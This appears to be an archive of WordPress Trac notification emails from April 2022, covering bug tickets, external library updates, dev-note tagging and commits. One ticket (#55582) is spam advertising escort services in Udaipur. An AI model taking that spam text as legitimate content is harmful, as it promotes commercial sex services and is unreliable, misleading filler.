Milestone: 6.0 Component: Posts, Post Types | Version: 5.4 Severity: normal | Resolution: Keywords: has-screenshots has-patch has- | Focuses: testing-info needs-testing | administration -------------------------------------------------+------------------------- Comment (by ugyensupport): @costdev have mentioned earlier in his comment, I can confirm that this issue only seems to occur when the post has no title and no content. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54983#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 15:57:57 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 15:57:57 -0000 Subject: [wp-trac] [WordPress Trac] #55554: Block heading disappears when it's white color In-Reply-To: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> References: <053.33cd29f33aa6011d1ea82ad4f6f4580a@wordpress.org> Message-ID: <068.a543477bccfd4788d8acce64de285175@wordpress.org> #55554: Block heading disappears when it's white color -------------------------------+-------------------------------- Reporter: mehedi890 | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Component: Editor | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: 2nd-opinion close | Focuses: ui, accessibility -------------------------------+-------------------------------- Changes (by ryokuhi): * status: new => closed * resolution: => invalid * milestone: Awaiting Review => Comment: We reviewed this ticket today during the Accessibility Team's weekly bug- scrub. It's the team opinion that this is not a bug: if the text color is set to the same color of the background, it isn't visible anymore. I imagine that, when changing the heading font-size, objects placed below the heading are moving up and down accordingly, but, to realize the effects of changing the font-size, it would first be essential to change the color of the text (or of the background) to see it again. As this is an issue, we're closing this ticket. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55554#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 16:47:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 16:47:39 -0000 Subject: [wp-trac] [WordPress Trac] #51750: Update webpack to version 5.x In-Reply-To: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> References: <052.6a32455c737a8b604ac2de53e5d9c49a@wordpress.org> Message-ID: <067.94e5865fce10054ad87f485a50c8aa45@wordpress.org> #51750: Update webpack to version 5.x ------------------------------------+------------------------- Reporter: mukesh27 | Owner: gziolo Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Build/Test Tools | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-dev-note | Focuses: javascript ------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch => has-patch has-dev-note Comment: I'm marking this for dev note but it's really just mentioning it in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/51750#comment:29> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 16:47:53 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 16:47:53 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.631b3ad7e4f9843d0e3290922f47cc65@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Changes (by adamsilverstein): * Attachment "53232.9.diff" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 16:49:34 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 16:49:34 -0000 Subject: [wp-trac] [WordPress Trac] #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress In-Reply-To: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> References: <051.c820b018dadf1a41d3bccedf28725bf1@wordpress.org> Message-ID: <066.e486f0bbeed1552fb75cb66ec4f1f1b5@wordpress.org> #53232: Add async decoding attribute as default to the HTML image tags generated by WordPress -------------------------------------------------+------------------------- Reporter: isaumya | Owner: | adamsilverstein Type: feature request | Status: assigned Priority: normal | Milestone: 6.1 Component: Media | Version: Severity: normal | Resolution: Keywords: has-patch has-unit-tests needs- | Focuses: refresh | performance -------------------------------------------------+------------------------- Comment (by adamsilverstein): [attachment:"53232.9.diff"] addresses feedback on the PR. -- Ticket URL: <https://core.trac.wordpress.org/ticket/53232#comment:61> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:07:03 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:07:03 -0000 Subject: [wp-trac] [WordPress Trac] #54035: Update Jcrop to the latest version In-Reply-To: <058.77f0721436c76442699c4ef03e0313ad@wordpress.org> References: <058.77f0721436c76442699c4ef03e0313ad@wordpress.org> Message-ID: <073.f207e32f609948a71badc3307d3c2832@wordpress.org> #54035: Update Jcrop to the latest version -------------------------------------------------+------------------------- Reporter: Hareesh Pillai | Owner: | davidbaumwald Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch commit | Focuses: assigned-for-commit needs-dev-note | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: good-first-bug has-patch commit assigned-for-commit => good- first-bug has-patch commit assigned-for-commit needs-dev-note Comment: Marking for dev note but really needs only mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54035#comment:7> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:07:26 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:07:26 -0000 Subject: [wp-trac] [WordPress Trac] #55016: Upgrade bundled jQuery Color In-Reply-To: <051.b1e010d702802fe8a65dc06f5d85d979@wordpress.org> References: <051.b1e010d702802fe8a65dc06f5d85d979@wordpress.org> Message-ID: <066.447d13d31da600e21f3ca66e11ae1945@wordpress.org> #55016: Upgrade bundled jQuery Color --------------------------------------+------------------------- Reporter: Clorith | Owner: Clorith Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: 5.3 Severity: normal | Resolution: fixed Keywords: has-patch needs-dev-note | Focuses: javascript --------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch => has-patch needs-dev-note Comment: Marking for dev note but really needs only mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55016#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:08:18 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:08:18 -0000 Subject: [wp-trac] [WordPress Trac] #55181: Update Random_Compat to 2.0.21 In-Reply-To: <047.e8864f9d6e3976eb30150c2359942af9@wordpress.org> References: <047.e8864f9d6e3976eb30150c2359942af9@wordpress.org> Message-ID: <062.be86fc68d8420f7ddd6ce19cc385e49f@wordpress.org> #55181: Update Random_Compat to 2.0.21 ----------------------------------------------+---------------------------- Reporter: jrf | Owner: | hellofromTonya Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch php81 needs-dev-note | Focuses: ----------------------------------------------+---------------------------- Changes (by milana_cap): * keywords: needs-patch php81 => needs-patch php81 needs-dev-note Comment: Marking for dev note but really needs only mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55181#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:08:50 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:08:50 -0000 Subject: [wp-trac] [WordPress Trac] #55187: Update PHPMailer to 6.5.4 In-Reply-To: <047.bd49a13e63069781583cf5277f9d3185@wordpress.org> References: <047.bd49a13e63069781583cf5277f9d3185@wordpress.org> Message-ID: <062.59aa2ad2d076ad1adb627d27565f405e@wordpress.org> #55187: Update PHPMailer to 6.5.4 -------------------------------------------------+------------------------- Reporter: jrf | Owner: | SergeyBiryukov Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch php81 php82 needs-dev- | Focuses: note | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: needs-patch php81 php82 => needs-patch php81 php82 needs-dev- note Comment: Marking for dev note but really needs only mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55187#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:09:39 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:09:39 -0000 Subject: [wp-trac] [WordPress Trac] #55277: Update PHPMailer to 6.6.0 In-Reply-To: <047.1b12247c119a04f34f28ac6e3a9f7b78@wordpress.org> References: <047.1b12247c119a04f34f28ac6e3a9f7b78@wordpress.org> Message-ID: <062.a6f27757d3e557d7ccbe74257caebf42@wordpress.org> #55277: Update PHPMailer to 6.6.0 ----------------------------------------+----------------------------- Reporter: jrf | Owner: SergeyBiryukov Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch needs-dev-note | Focuses: ----------------------------------------+----------------------------- Changes (by milana_cap): * keywords: needs-patch => needs-patch needs-dev-note Comment: Marking for dev note but really needs only mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55277#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:10:04 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:10:04 -0000 Subject: [wp-trac] [WordPress Trac] #55453: Update Sodium Compat to 1.17.1 (PHP 8.1 compatibility) In-Reply-To: <047.3ce4be26e3b1e349429ff906ba6e05c0@wordpress.org> References: <047.3ce4be26e3b1e349429ff906ba6e05c0@wordpress.org> Message-ID: <062.98a4d98f92c751d805f893ea4cbfa40a@wordpress.org> #55453: Update Sodium Compat to 1.17.1 (PHP 8.1 compatibility) ----------------------------------------------+---------------------------- Reporter: jrf | Owner: | SergeyBiryukov Type: task (blessed) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: trunk Severity: normal | Resolution: fixed Keywords: needs-patch php81 needs-dev-note | Focuses: ----------------------------------------------+---------------------------- Changes (by milana_cap): * keywords: needs-patch php81 => needs-patch php81 needs-dev-note Comment: Marking for dev note but really needs only mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55453#comment:2> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:10:29 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:10:29 -0000 Subject: [wp-trac] [WordPress Trac] #55547: Minor external library updates for 6.0 In-Reply-To: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> References: <051.0cb3fb214061706c84823c91e7cb223b@wordpress.org> Message-ID: <066.3cfc2e72a362c735c0c3fbd4abde048e@wordpress.org> #55547: Minor external library updates for 6.0 --------------------------------------+---------------------- Reporter: desrosj | Owner: desrosj Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: External Libraries | Version: Severity: normal | Resolution: fixed Keywords: has-patch needs-dev-note | Focuses: --------------------------------------+---------------------- Changes (by milana_cap): * keywords: has-patch => has-patch needs-dev-note Comment: Marking for dev note but really needs only mentioning in Field guide. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55547#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:34:33 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:34:33 -0000 Subject: [wp-trac] [WordPress Trac] #40875: Add a petabyte constant In-Reply-To: <056.d28c7a3a7d68d425d37fb637695b2b65@wordpress.org> References: <056.d28c7a3a7d68d425d37fb637695b2b65@wordpress.org> Message-ID: <071.a64489b2c1a39685a3a8f10ceabfd9f1@wordpress.org> #40875: Add a petabyte constant -------------------------------------------------+------------------------- Reporter: henry.wright | Owner: | johnbillion Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: fixed Keywords: has-patch has-unit-tests needs-dev- | Focuses: note | -------------------------------------------------+------------------------- Changes (by milana_cap): * keywords: has-patch has-unit-tests => has-patch has-unit-tests needs- dev-note -- Ticket URL: <https://core.trac.wordpress.org/ticket/40875#comment:11> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 17:43:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 17:43:31 -0000 Subject: [wp-trac] [WordPress Trac] #54698: Add 'ruby' tag and its friends to kses In-Reply-To: <051.ded7cc606721b8ff42fbbebaeefc723d@wordpress.org> References: <051.ded7cc606721b8ff42fbbebaeefc723d@wordpress.org> Message-ID: <066.38a23fb4331013e0978379a14245651f@wordpress.org> #54698: Add 'ruby' tag and its friends to kses ---------------------------------------------+----------------------------- Reporter: upsuper | Owner: SergeyBiryukov Type: enhancement | Status: closed Priority: normal | Milestone: 6.0 Component: Formatting | Version: Severity: normal | Resolution: fixed Keywords: has-patch commit needs-dev-note | Focuses: ---------------------------------------------+----------------------------- Changes (by milana_cap): * keywords: has-patch commit => has-patch commit needs-dev-note -- Ticket URL: <https://core.trac.wordpress.org/ticket/54698#comment:10> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 18:13:59 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 18:13:59 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.c2805252b5cb666e6dffa757fce1ff2e@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by aleksganev): I added filters for the labels for the text fields, buttons and links on the Login, Register and Lost Password pages. I went with the single filter for every label approach, since they didn't really group together well to be put in arrays, so a lot of lines changed, but I think it's better this way. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:3> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 18:14:56 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 18:14:56 -0000 Subject: [wp-trac] [WordPress Trac] #55568: design menu - entries missing In-Reply-To: <051.7f885fc336f4601faa01ab6a55035ab4@wordpress.org> References: <051.7f885fc336f4601faa01ab6a55035ab4@wordpress.org> Message-ID: <066.2e1de55a05bcda85390224a8f4134c18@wordpress.org> #55568: design menu - entries missing --------------------------+------------------------------ Reporter: herrdeh | Owner: (none) Type: defect (bug) | Status: closed Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Resolution: invalid Keywords: | Focuses: --------------------------+------------------------------ Changes (by herrdeh): * status: new => closed * resolution: => invalid Comment: From the German forum, I learned that this so is not a bug but a feature, called "full site editing". My fault - I beg your pardon. [https://de.wordpress.org/support/topic/menueintraege-unter-design-fehlen- customizer-widgets-menus/#post-126672] Cheers, Wolf -- Ticket URL: <https://core.trac.wordpress.org/ticket/55568#comment:1> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 18:50:51 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 18:50:51 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.66bfb97cb24b9dbb33bf477538117683@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by knutsp): All text strings are filterable by gettext and friends. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Fri Apr 15 19:08:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Fri, 15 Apr 2022 19:08:11 -0000 Subject: [wp-trac] [WordPress Trac] #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed Message-ID: <056.ebc3b4dce413ea21a93e87f931f23846@wordpress.org> #55581: Twenty Twenty: Aligned images cannot be resized or are properly displayed --------------------------+----------------------------- Reporter: robertghetau | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: 5.9.3 Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Steps to replicate: 1. Create a new page 2. Add content to it and make sure you have a paragraph block and an image block. 3. Align the block to the right and modify its size. Two things will happen: 1. The size of the image is not respected. 2. The alignment is not the same(editor vs frontend) This happens with the latest version of WordPress(5.9.3) and Twenty Twenty(1.9) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55581> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 00:28:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 00:28:31 -0000 Subject: [wp-trac] [WordPress Trac] #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() In-Reply-To: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> References: <058.95e80cfc4ea27e9f1dfb77507082860b@wordpress.org> Message-ID: <073.98be72036d278d61de82f77f27d5e78f@wordpress.org> #55405: i18n: Use a placeholder instead of 'Template' in a message in WP_Theme::__construct() --------------------------------------+----------------------------- Reporter: SergeyBiryukov | Owner: SergeyBiryukov Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: Severity: normal | Resolution: fixed Keywords: good-first-bug has-patch | Focuses: --------------------------------------+----------------------------- Changes (by SergeyBiryukov): * status: accepted => closed * resolution: => fixed Comment: In [changeset:"53190" 53190]: {{{ #!CommitTicketReference repository="" revision="53190" I18N: Move code out of a translatable string in `WP_Theme::__construct()`. Props kapilpaul, azouamauriac, SergeyBiryukov. Fixes #55405. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/55405#comment:6> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 04:38:24 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 04:38:24 -0000 Subject: [wp-trac] [WordPress Trac] #55459: Change Login Label name In-Reply-To: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> References: <052.fad3b75ff87264e7068a28a8f72505aa@wordpress.org> Message-ID: <067.45a2639ab778d944b71150025c06f975@wordpress.org> #55459: Change Login Label name ------------------------------------+------------------------------ Reporter: wparslan | Owner: (none) Type: enhancement | Status: new Priority: normal | Milestone: Awaiting Review Component: Login and Registration | Version: Severity: normal | Resolution: Keywords: has-patch | Focuses: ------------------------------------+------------------------------ Comment (by wparslan): @aleksganev We have to come up with a better plan than this. A total of 5 to 8 filter additions to the core is bad, if we are using it in the same file, then only one filter will take care of everything here. @knutsp even if we apply a check to only execute the gettext for the login page, a lot of string/s will be checked here on each login page call. which is bad. @aleksganev Really appreciate your time into this brother :) -- Ticket URL: <https://core.trac.wordpress.org/ticket/55459#comment:5> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 05:56:16 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 05:56:16 -0000 Subject: [wp-trac] [WordPress Trac] #54188: Different theme screenshot sizes are displayed in the customizer preview In-Reply-To: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> References: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> Message-ID: <064.410cb9585a372f0ac31ad263259e744c@wordpress.org> #54188: Different theme screenshot sizes are displayed in the customizer preview -------------------------------------------------+------------------------- Reporter: poena | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: 3.9 Severity: normal | Resolution: Keywords: has-patch has-testing-info commit | Focuses: assigned-for-commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch has-testing-info commit => has-patch has-testing- info commit assigned-for-commit * owner: (none) => audrasjb * status: new => reviewing Comment: Self assigning for commit. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54188#comment:12> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 06:01:11 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 06:01:11 -0000 Subject: [wp-trac] [WordPress Trac] #54188: Different theme screenshot sizes are displayed in the customizer preview In-Reply-To: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> References: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> Message-ID: <064.0b4c48756e1b6e7aaf74db1547780702@wordpress.org> #54188: Different theme screenshot sizes are displayed in the customizer preview -------------------------------------------------+------------------------- Reporter: poena | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: 3.9 Severity: normal | Resolution: Keywords: has-patch has-testing-info | Focuses: assigned-for-commit needs-refresh | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch has-testing-info commit assigned-for-commit => has- patch has-testing-info assigned-for-commit needs-refresh Comment: I'm not sure removing the version of the file is intended. Adding a new PR to re-add this for better cache refreshing. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54188#comment:13> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 06:12:48 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 06:12:48 -0000 Subject: [wp-trac] [WordPress Trac] #54188: Different theme screenshot sizes are displayed in the customizer preview In-Reply-To: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> References: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> Message-ID: <064.8f43c577f5d3fe165161a3d2a9a33854@wordpress.org> #54188: Different theme screenshot sizes are displayed in the customizer preview -------------------------------------------------+------------------------- Reporter: poena | Owner: audrasjb Type: defect (bug) | Status: reviewing Priority: normal | Milestone: 6.0 Component: Themes | Version: 3.9 Severity: normal | Resolution: Keywords: has-patch has-testing-info | Focuses: assigned-for-commit commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * keywords: has-patch has-testing-info assigned-for-commit => has-patch has-testing-info assigned-for-commit commit Comment: PR added and tests are passing. Committing right now. -- Ticket URL: <https://core.trac.wordpress.org/ticket/54188#comment:15> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 06:13:27 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 06:13:27 -0000 Subject: [wp-trac] [WordPress Trac] #54188: Different theme screenshot sizes are displayed in the customizer preview In-Reply-To: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> References: <049.1b0f361e8b6821157b6f7ccf636e2184@wordpress.org> Message-ID: <064.7bdd1bc12b68241c03b253947988b0aa@wordpress.org> #54188: Different theme screenshot sizes are displayed in the customizer preview -------------------------------------------------+------------------------- Reporter: poena | Owner: audrasjb Type: defect (bug) | Status: closed Priority: normal | Milestone: 6.0 Component: Themes | Version: 3.9 Severity: normal | Resolution: fixed Keywords: has-patch has-testing-info | Focuses: assigned-for-commit commit | -------------------------------------------------+------------------------- Changes (by audrasjb): * status: reviewing => closed * resolution: => fixed Comment: In [changeset:"53191" 53191]: {{{ #!CommitTicketReference repository="" revision="53191" Themes: Use consistent thumbnail sizes in Customizer preview screen. This ensures displaying theme thumbnails in consistent sizes in Customizer theme preview. Props poena, karpstrucking, costdev, audrasjb. Fixes #54188. }}} -- Ticket URL: <https://core.trac.wordpress.org/ticket/54188#comment:16> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 06:49:36 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 06:49:36 -0000 Subject: [wp-trac] [WordPress Trac] #55569: Fix Blog Post Text Color In-Reply-To: <056.77653cb82117c95411917f45503cccb9@wordpress.org> References: <056.77653cb82117c95411917f45503cccb9@wordpress.org> Message-ID: <071.3ab0cc9f62b18c8dc3e24dab448f4d63@wordpress.org> #55569: Fix Blog Post Text Color ------------------------------------------+-------------------------------- Reporter: ugyensupport | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: 6.0 Component: Themes | Version: 5.9 Severity: normal | Resolution: Keywords: has-screenshots needs-design | Focuses: ui, css, | performance ------------------------------------------+-------------------------------- Changes (by ugyensupport): * keywords: has-screenshots => has-screenshots needs-design * focuses: css => ui, css, performance -- Ticket URL: <https://core.trac.wordpress.org/ticket/55569#comment:4> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 08:26:31 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 08:26:31 -0000 Subject: [wp-trac] [WordPress Trac] #55582: Famous and hot call girl in Udaipur Escorts Message-ID: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> #55582: Famous and hot call girl in Udaipur Escorts --------------------------+----------------------------- Reporter: anishapawar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Keywords: Focuses: | --------------------------+----------------------------- Udaipur Attendants is one of the most beautiful places with respect to [Udaipur Call Girl] Service and contact with Ladies results. Being genuine and genuine, they are available to give girls and contact with ladies, who can complete your combined conjurations just within your budget. [Udaipur Call Girl Service] and contact with ladies is your concrete and reliable, loving girl and contact with ladies, who stand by your side when you are coming to no bone. Their company is so warm and health- giving that you would hardly allow you to break up your way with them. You can just get suitable with them since they are genuinely regular, well-mannered and soft- spoken. When it comes to the amount and knowledge and erraticism, all of them are well- educated and talk about other' languages' apart from their original language. English is the main language, through which you may easily communicate with them. There are no analogous feigns or pretense in them. They give you all those results that the conditions they give. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55582> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 08:26:40 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 08:26:40 -0000 Subject: [wp-trac] [WordPress Trac] #55582: Famous and hot call girl in Udaipur Escorts In-Reply-To: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> References: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> Message-ID: <070.9e8916aa64b10c1a982c64c86fd83885@wordpress.org> #55582: Famous and hot call girl in Udaipur Escorts --------------------------+------------------------------ Reporter: anishapawar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by anishapawar): * Attachment "download (1).jpg" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55582> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 08:27:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 08:27:02 -0000 Subject: [wp-trac] [WordPress Trac] #55582: Famous and hot call girl in Udaipur Escorts In-Reply-To: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> References: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> Message-ID: <070.a5d1b61eab148b6f5359c35a80fdf545@wordpress.org> #55582: Famous and hot call girl in Udaipur Escorts --------------------------+------------------------------ Reporter: anishapawar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by anishapawar): * Attachment "images (23).jpg" added. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55582> WordPress Trac <https://core.trac.wordpress.org/> WordPress publishing platform From noreply at wordpress.org Sat Apr 16 09:09:02 2022 From: noreply at wordpress.org (WordPress Trac) Date: Sat, 16 Apr 2022 09:09:02 -0000 Subject: [wp-trac] [WordPress Trac] #55582: Famous and hot call girl in Udaipur Escorts In-Reply-To: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> References: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> Message-ID: <055.fdb15ed3b753c46ef79cfe0936893a88@wordpress.org> #55582: Famous and hot call girl in Udaipur Escorts --------------------------+------------------------------ Reporter: anishapawar | Owner: (none) Type: defect (bug) | Status: new Priority: normal | Milestone: Awaiting Review Component: General | Version: Severity: normal | Resolution: Keywords: | Focuses: --------------------------+------------------------------ Changes (by anishapawar): * Attachment "download (1).jpg" removed. -- Ticket URL: <https://core.trac.wordpress.org/ticket/55582> WordPress Trac 